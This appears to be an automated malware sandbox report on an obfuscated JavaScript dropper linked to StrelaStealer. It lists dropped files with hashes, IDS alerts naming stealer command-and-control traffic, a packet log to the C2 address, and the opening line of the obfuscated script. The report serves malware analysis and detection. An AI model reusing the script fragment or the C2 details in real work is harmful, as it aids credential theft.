Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\27515b23-fa3b-4d48-89c2-5d02cfd18a71.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\46445a4e-a7f9-4013-a6ec-96e01d07c398.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:6qWL07okZwYIGNPHGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:ZWLxkZwZGBGZn3mlind9i4ufFXpAXkru
MD5:	51AC3B643206869A3BC2D7773E844594
SHA1:	2532A2A861B72BF4F0A9058F4987E0BDF5AD6DD6
SHA-256:	EECF83174ADA78E8888D44AAC7C9E195F1943B215E47507876C8FFD6A77A84D9
SHA-512:	2A64F8AB11281F6342B3A37135BF9BE7CF1D2E5A7EA751D92C952293B76DAA28526E237D06E22DF0D7FF6773AD5735A05EF6722558AB7583327CC031142EA724
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\7000f1ea-c75d-4def-a483-6b8ef84a8fdf.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16892), with CRLF line terminators
Entropy (8bit):	4.910381145155142
TrID:
File name:	2837518771550414407.js
File size:	20'383 bytes
MD5:	ca932751eb78fab64d76a21164734eea
SHA1:	07324e1924111539132924a40a4940e7ad54a89f
SHA256:	fcdbc48edde005ee4954407c7f333539becd0b200223c553d88f1ba7302d0315
SHA512:	b7bde0ca7b91d43d735e38080cac2b8f203304636d541bb5d8a02e777057f51f6a094ef5567391dc0648e88f30db59808551f971d961e51c3232c272b9533de3
SSDEEP:	192:DRtX3zCX6r563o9mUYeCkBsNDxLk7h2zn27ZyW/xHuvnMts54HWZW217QfJgGgDg:dtXjC0N9q1NDhk7h2z4mWwQfKBcCa
TLSH:	A392634DC402CDAAD8E541B5254A415BA9A8A2C74DE0F5EF2963FE8F3BE0BD1C5E10F1
File Content Preview:	function gavtzgy(){csavz=[1031,3079,5127,4103,2055,3072];var xrmsr=this[dlavtf+bvlnrgr+rwjfbxk+xubmyhafb+rbknwn+onfiwis+qmtvojwge+mkbxnd](this[tbgvj+jztwdd+angjxbrzh+rwjfbxk+nlusjvqnp+dlavtf+mkbxnd][qvrqybgou+rwjfbxk+rbknwn+bvlnrgr+mkbxnd+rbknwn+rzrapb+uy

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T01:15:55.938442+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.3	49711	193.143.1.205	80	TCP
2025-01-11T01:15:55.938442+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.3	49711	193.143.1.205	80	TCP
2025-01-11T01:15:58.628375+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.3	49712	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:15:55.127331018 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:55.132190943 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:55.132265091 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:55.134824038 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:55.139674902 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:55.938019037 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:55.938097000 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:55.938133955 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:55.938170910 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:55.938209057 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:55.938242912 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:55.938262939 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:55.938297033 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:55.938316107 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:55.938338995 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:55.938441992 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:55.938484907 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:55.943511009 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:55.983747959 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:55.983762980 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:55.984903097 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.062990904 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.063004017 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.063112974 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.063123941 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.063136101 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.063147068 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.063288927 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.063288927 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.063677073 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.063697100 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.063708067 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.063786983 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.064109087 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.064131021 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.064141989 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.064153910 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.064166069 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.064769983 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.064769983 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.064769983 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.064835072 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.064879894 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.064892054 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.064903021 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.064915895 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.065074921 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.065074921 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.065725088 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.065737009 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.065747976 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.065759897 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.067338943 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.067338943 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.115598917 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.115613937 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.118694067 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.153835058 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.153847933 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.153860092 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.154700994 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.188148022 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.188160896 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.188263893 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.188272953 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.188307047 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.188307047 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.188328981 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.188358068 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.188461065 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.188472986 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.188483953 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.188496113 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.188496113 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.188541889 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.188816071 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.188828945 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.188846111 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.188855886 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.188891888 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.189002991 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.189177990 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.189198971 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.189287901 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.189301014 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.189313889 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.189327955 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.189332008 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.189332008 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.189342976 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.189438105 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.190102100 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.190114021 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.190126896 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.190139055 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.190152884 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.190165043 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.190176964 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.190226078 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.190226078 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.190249920 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.190249920 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.190943956 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.190956116 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.190968037 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.190979958 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.190992117 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.191004992 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.191018105 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.191024065 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.191024065 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.191121101 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.191734076 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.191746950 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.191761017 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.191781998 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.191792011 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.191801071 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.191801071 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.191804886 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.191821098 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.191864014 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.191864014 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.192614079 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.192626953 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.192640066 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.192692041 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.206208944 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.206221104 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.206247091 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.206373930 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.206386089 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.206398010 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.206429958 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.206451893 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.244445086 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.279858112 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.279875994 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.279886961 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.279898882 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.279911041 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.279997110 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.279997110 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.279997110 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.313568115 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.313605070 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.313616037 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.313750982 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.313762903 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.313793898 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.313793898 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.313859940 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.313904047 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.313918114 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.313951015 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.313975096 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.314027071 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.314338923 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.314388990 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.314435005 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.314541101 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.314553022 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.314564943 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.314636946 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.314636946 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.314810991 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.314821005 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.314832926 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.314855099 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.314872026 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.314886093 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.314898968 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.315128088 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.315128088 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.315128088 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.315723896 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.315735102 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.315746069 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.315763950 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.315774918 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.315778971 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.315787077 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.315799952 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.315850019 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.315850019 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.315897942 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.316540003 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.316551924 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.316565037 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.316596031 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.316597939 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.316610098 CET	80	49711	193.143.1.205	192.168.2.3
